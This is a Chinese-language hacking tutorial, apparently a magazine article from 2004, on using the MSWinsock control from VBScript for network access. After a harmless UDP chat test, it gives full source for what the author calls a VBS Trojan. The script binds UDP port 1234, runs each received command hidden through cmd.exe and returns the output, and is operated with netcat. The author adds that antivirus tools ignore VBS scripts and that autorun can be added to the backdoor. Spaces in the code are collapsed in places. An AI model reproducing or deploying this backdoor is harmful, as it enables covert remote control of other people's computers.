大概在一年前,VBS脚本病毒又揭起一阵热潮,一大群VBS病毒在互联网上盛行。那时的VBS病毒几乎都是用FSO、MAPI作为一个病毒传染引擎,所以我就想,VBS可否访问网络呢?如果它也能进行端口的连接,那就神奇了。从此之后,我就努力去找有关VBS的网络类的资料,可惜找了好久,什么收获也没有,直到一个月前高考结束了,我才可以静下来搞这个东西,并终于有了一点进展。
现在分析一下VBS的运作原理吧。VBS的全称是“VisualBasicScripts”,由于VBS是由VisualBasic分离出来的一种面向对象的脚本语言,所以它的语法与VisualBasic差不多,而且也是靠Object来实现它的其它高级功能。只不过是VBS是用Wscript.exe或Cscript.exe来解释的,因此它不需要编译,直接运行就行了,所以这也是VBS脚本做黑客工具方面的特长之一:普通杀毒软件不会对VBS感兴趣。因为VBS是一种面向对象的脚本语言,所以微软的很多ActiveX组件都可以通过“CreateObject(“ObjectName”)”来创建引用,这可能是微软公司的程序接口吧!也许用过VB编写网络程序的朋友也知道,用VB写网络程序大致有两种:一是调用Windows的API函数,二是用VB自带的Winsock控件,也就是在Windows系统目录中见到的“MSWinsock.ocx”。由于前者的API函数比较复杂,很多朋友比较喜欢用VB自带的Winsock控件,不知道大家有没有留意到那个Winsock控件,其实它就是我前面讲的ActiveX组件,它提供了访问TCP和UDP网络服务的方便途径,为编写客户或服务器应用程序,不必了解TCP的细节或调用低级的WinsockAPIs。通过设置控件的属性并调用其方法就可轻易连接到一台远程机器上去,并且还可双向交换数据。既然找到了访问网络的引擎,那如何来用呢?用法又是不和VB中那样用呢?
Winsock控件用法大体上是同VB上的一样,但在VBS中,ActiveX控件并不是像VB中那样是可以见到的,要在VBS上引用它当然是先创建它的对象。创建方法就像创建FSO等对像。新建一个文本文件,在里面写入:
--------------------------------------------------
SetSock=CreateObject("MSWinsock.Winsock")
Sock.AboutBox
--------------------------------------------------
保存为*.vbs运行它,就可以看到注册在你系统中的WinSock控件的有关信息。
怎能么样?开心吧,别急,我下面会详细讲讲。既然对象创建成功了,当然是要像VB中那样用它了。在VBS中创建的WinScok不能像VB中那样图形介面那样设置参数就行,是应该一步一个脚印来设置好你所创的是什么协议。在WinSock控件中要设置的协议是通过“Protocol”来设定的,如sock.Protocol=0或sock.Protocol=1。注意当“Protocol”的值为“0”时,所创建的协议是TCP;值为“1”时,则创建的是UDP。
我先介绍一下有关WinSock控件引用的基本方法和事件吧:
LocalHostName//取得本地主机名
LocalIP//取得本地主机IP
SocketHandle//取得创建SOCK的句柄
RemotePort//设置或取得远程端口
LocalPort//设置或取得本地端口
State//返回创建sock的对像状态(代吗如下){
0缺省的。关闭
1打开
2侦听
3连接挂起
4识别主机
5已识别主机
6正在连接
7已连接
8同级人员正在关闭连接
9错误}
BytesReceived//返回接收到的(当前在接收端缓冲区内的)数据的数量
Connect(RemoteHost,RemotePort)//建立远程连接,RemoteHost远程主机IP,RemotePort远程主机端口
Listen//使SOCK侦听
SendData/GetData//发送或接收数据
Close//关闭对像
Bind(LocalPort,LocalIP)//绑定本地端口。
那些基本的东西我讲完了,下面我测试一下远程主机会话吧(UDP),下面是一个VBS文件,大家可以试试,代码如下(文件sock-udp.vbs):
----------------------------------------
dimrevdata
dimsendata
//创建Winsock对像
setsock=createobject("MSWinsock.Winsock")
//使用UDP协议
//建立连接
sock.Protocol=1sock.Connect"127.0.0.1",1234
//定义要发送的数据
sendata="Hello!!!"&chr(13)
//发送我们要发的数据
sock.senddatasendata
do
//如果有数据回应就显示它
ifsock.BytesReceived>0then
//定义接收数据类型(数据类型有vbByte、vbInteger、vbLong、vbSingle
//vbDouble、vbCurrency、vbDate、vbBoolean、vbError、vbString、vbArray+vbByte)
//也只有定义好要接收的数据类型才能收到数据,不然会收到的是一堆乱码;
sock.getdatarevdata,vbString;
sendata=inputbox(revdata,"RecviedData","请输入你要发的信息")
sock.senddatasenddata&chr(13)
//当收到含有"exit"字串时结束VBS进程
ifinstr(revdata,"exit")thenexitdo
else
endif
loop
//关闭对像套接
sock.close
------------------------------------------
然后用“nc-u-l-p1234”监听本地UDP端口1234,再运行刚编写的VBS文件,看!我的NC有反应了。
里面的“MicroSoft(r)WindowsBasedScriptHost”就是我们的VBS主进程了。在NC里我们还可以发信息、聊天,怎么样?一个简单的UDPC/S已经完成了。下面我再写一个关于它的利用吧,既然它能访问网络,当然是用它的做个VBS木马啦!老编们不会反对吧!哈哈,Let'sGo!
--------------------------
Dimrevdata
setsock=createobject("MSWinsock.Winsock")
setsc=createobject("WScript.Shell")
Setfso=CreateObject("Scripting.FileSystemObject")
sock.Protocol=1//这个当然是UDP协议的标识啦
sock.bind1234//绑定本地的UDP端口
Do
ifsock.BytesReceived>0then
sock.getdatarevdata,vbString
ifinstr(revdata,"exit")>0then
exitdo
else
onerrorresumenext
tempfile="C:"&fso.GetTempName
'cmd=right(revdata,len(revdata)-4)
cmd=left(revdata,len(revdata)-3)
//利用绑定cmd的输出
callsc.Run("cmd.exe/c"&cmd&">"&tempfile,0,True)
Settxf=fso.OpenTextFile(tempfile,1,false,0)
//把输出的文件读入内存,用SendData发送到客户端
sock.senddatatxf.readall&vbcrlf&vbcrlf
txf.close
callfso.DeleteFile(TempFile,True)
endif
//嘻嘻,下面是我的版权喔
sock.senddata"--End--"&vbcrlf&"ForHelpexit:end|run:<RunFileName>"&vbcrlf&"MakedbyAttribData:2004.7.28"&vbcrlf&vbcrlf
endif
Loop
sock.senddata"连接已关闭!"&vbcrlf
sock.close
sock=nothings
-------------------
到此,代码的基本架构已经完成了,要想做一个全能的木马可以在代码里加上诸如开机自动运行等。由于VBS程序没有设置出错保护,可能一些错误的操作会出现程蹦溃,有兴趣的朋友可以自己试试。用法是先把这个VBS后门运行在服务端,之后就用你的NC连,因为用的是UDP协议,NC的命令行是“NC–uIPPort”,记得要加上那个“-u”参数啊,之后就像WinShell一样用就行了,下面是在我的机器里测试的截图。
至于TCP如何编写,道理也跟UDP差不多,我这里就不再多写了,大家可以自己研究下。
如果有什么好的方法还可以和我一同研究。谢谢观赏。